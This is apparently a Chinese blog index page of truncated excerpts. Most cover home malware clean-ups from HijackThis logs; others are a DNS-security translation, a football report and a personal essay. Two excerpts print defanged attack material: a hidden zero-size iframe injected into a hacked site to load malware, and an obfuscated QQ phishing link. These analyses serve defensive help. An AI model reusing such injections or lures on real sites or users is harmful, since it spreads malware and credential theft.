其他

endurer 原創2006-11-01

endurer 原創2006-12-21 第1版今天上午，有位網友說他的電腦查殺病毒後開機時彈出提示框，說找不到檔案 soundmix.dll，讓偶幫忙處理。這個東東以前遇到過，見使用了 rootkit 技術的

方法1 mov eax, 0mov ebx, 0mov ecx, 0mov edx, 0 方法2 xor eax, eaxxor edx, edxxor ecx, ecxxor edx, ecx 方法3hmm...yep, here the stall is partially balanced by the non-change of the source argument (a work/branch avoided by the cpu), so in this specific

endurer 原創2006-12-12 第1版 有位網發來Email說，他的電腦從12月1日開始，每次系統啟動瑞星都報告發現 Backdoor.Gpigeon.uql，並附帶了 HijackThis 掃描的log。在log中發現如下可疑項目:/---------C:/WINDOWS/CameraFixer.exeO4 - 啟動項HKLM//Run: [CameraFixer] C:/WINDOWS/CameraFixer.exeO21 - SSODL: SysTime - {724C75F1-

endurer　原創2006-07-30　第2版補充殺毒軟體的反應。2006-07-29　第1版昨天，有位網友的說，他電腦上的瑞星開機自動掃描總報告：-----------Backdoor.Gpigeon.uql            清除成功    2006-07-28 16:01      IEXPLORE.EXE>>C:/Program Files/Internet

來源：賽迪網  

轉自：http://advdbg.com/blogs/advdbg_system/articles/45.aspx對於從事Windows驅動開發的朋友，或者是對Windows核心感興趣的朋友，以下幾個BLOG值得經常看看！1，Kernel Mustard by Steve Dispensa link:

奇怪的卡巴斯基6升級故障endurer 原創2008-05-07 第1版一位網友發email過來說，他的電腦中的卡巴6最近出現了奇怪的問題：開機時卡巴提示病毒庫到期，但手動升級又提示不需要更新，卡巴6使用的key未到期，也沒被列入黑名單。並附上了HijackThis掃描的log。在 log 中，發現一個可疑的項目：/---O2 - BHO: IESuper - {1A49F431-2A2E-41a5-9080-0F41D1A3AEC2} -

作者：endurer今天一個同事的電腦開機出現藍色當機畫面：FileName: VWIN32(05)+00000BF$ error OE:0028:C)ZA3E54該電腦使用Win ME。一、重新啟動電腦到安全模式。二、用msconfig.exe檢查開機啟動項，發現名為Net可疑啟動項（如所示），對應的檔案為c:/windows/system/svch0st.exe（注意檔案名稱中的h和s之間的是數字0）把三個可疑的Net啟動項取消三。設定系統顯示所有檔案，不隱藏副檔名方法是：1. 啟動

　　【eNet矽谷動力訊息】美國東部時間6月26日(北京時間6月27日)訊息，有許多的反間諜功能軟體會清除使用者上網以後留在電腦硬碟中的資料追蹤檔案，即cookies。 　　而微軟的反間諜功能軟體沒有這種功能，在業內，人們對是否清除廣告軟體就可以清除間諜軟體存在分歧。業界對什麼是間諜軟體，什麼是廣告軟體，廣告軟體是否是間諜軟體的一種形式或是載體等看法不一。　 　　使用者對此也是困惑不解，清除電腦cookies是否過頭了，還是做得不夠？反間諜功能軟體在清除垃圾的同時是否也清除了一些有用的程式？　

endurer　原創2006-10-01　第1版 QQ自動發送的資訊為：/-------看看我最近的照片~~~ 才掃描到Q-Zone空間上的。是不是有點太露了? hxxp://Q-Zone.***QQ.C0M.%34%76%30***%2E%63%6E/**Photo/Cgi_Bin&387***384/-------/點擊該連結開啟的網頁首部有用自訂函數 psw（）加密的JavaScript指令碼代碼。解密後為/-------＜iframe src＝hxxp://web**4.3***

給有抱負的開發人員的建議作者：Mary

endurer　原創2006-10-23 第1版有一位朋友電腦中QQ的鍵盤加密技術不能啟動，讓偶協助看看。到 http://endurer.ys168.com 下載 HijackThis 和 ProcView。用HijackThis 掃描 log，發現幾個可疑項：/------------Logfile of HijackThis v1.99.1Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<;Name    : Dialog1.asm;Function: 惡作劇程式,看看你是否能點中"否"按鈕;Author  : Purple Endurer

某廣電行業網站被掛馬 Backdoor.Win32.Gpigeon.aic/ sx.exeendurer 原創2007-09-06 第1版網站頁面被植入代碼：/---＜iframe src=hxxp://www.h**l*bz.com/x*j***/Dns.htm width=0 height=0＞ ---/hxxp://www.h**l*bz.com/x*j***/Dns.htm　包含 JavaScript指令碼，首先輸出escape編碼的資訊：/---www.CuteQq.cnZJWm 6

背水一戰　意大利2:0法國　時來運轉還是破咒還債？　　由於前兩場比賽運氣不佳，本場比賽意大利隊不僅要全力以赴拿下，還要看荷蘭與羅馬尼亞的比賽結果。　　這次意大利倒是得了天利、人和。先是裡貝裡開場十分鐘就左膝扭傷下場；然後是多梅內克安排的炸彈——客串中衛的阿比達爾絆倒托尼，不僅領了紅牌，還送了一個十二碼；接下來就是德羅西自由球時享利自擺烏龍。　　由於荷蘭2:0羅馬尼亞，意大利幸運晉級。　　荷蘭3:0了結了8年前與意大利的的那筆舊帳，並打破30年不勝魔咒；這場比賽，意大利也顛覆了30年未在120分鐘

在寫一些系統安全和維護方面的blog文章時，有時要提供一些惡意程式檔案的屬性、語言、版本、時間、MD5值等資訊，現在這些工作可以用FileInfo來完成了。這個程式支援多個檔案的拖動……：http://purpleendurer.ys168.com例如擷取FileInfo.exe本身的資訊內容如下： 檔案說明符 : D:/pe_works/fileinfo.exe屬性 : A---語言 : 中文(中國)檔案版本 : 0.0.0003說明 : 擷取檔案資訊著作權 :

Ten things you should know about securing DNS您需要知道的10件與DNS安全有關的事情by  Dr. Thomas Shinder MCSE 作者：Thomas Shinder博士　微軟認證系統工程師翻譯：endurer 2005.09.14第一稿Keywords:  Security | TCP/IP | Network security 關鍵字：安全 | TCP/IP | 網路安全 Takeaway: DNS software is a

時間無情流逝，同學有情長存 同學之情是很純真的，出到社會上後體會特別深…… 同學之間沒有什麼功利性，不會拿工作成績、收入、成就之類的眼光來看人 大家一起回憶那些共同渡過的美好時光，再次叫起每個人的外號，重新演述其間發生的趣事……互相開玩笑，沒有什麼顧慮……好像又回到了以前那段無憂無慮地念書的日子，真似往日重現～ 大家畢業後經曆的喜怒哀樂都可以分享出來，那些跟朋友都不便說的話，在同學面前都可以一吐為快，不用擔心勾心鬥角，兩面三刀……也可以促膝長談日後的打算，真是全身心的放鬆……

endurer 原創2007-02-26 第1版一位同事說他的電腦工作異常，讓偶幫忙檢查看看。到 http://endurer.ys168.com 下載了 HijackThis 掃描log，發現可疑項：/-----Logfile of HijackThis v1.99.1Scan saved at 9:04:52, on 2007-2-26Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.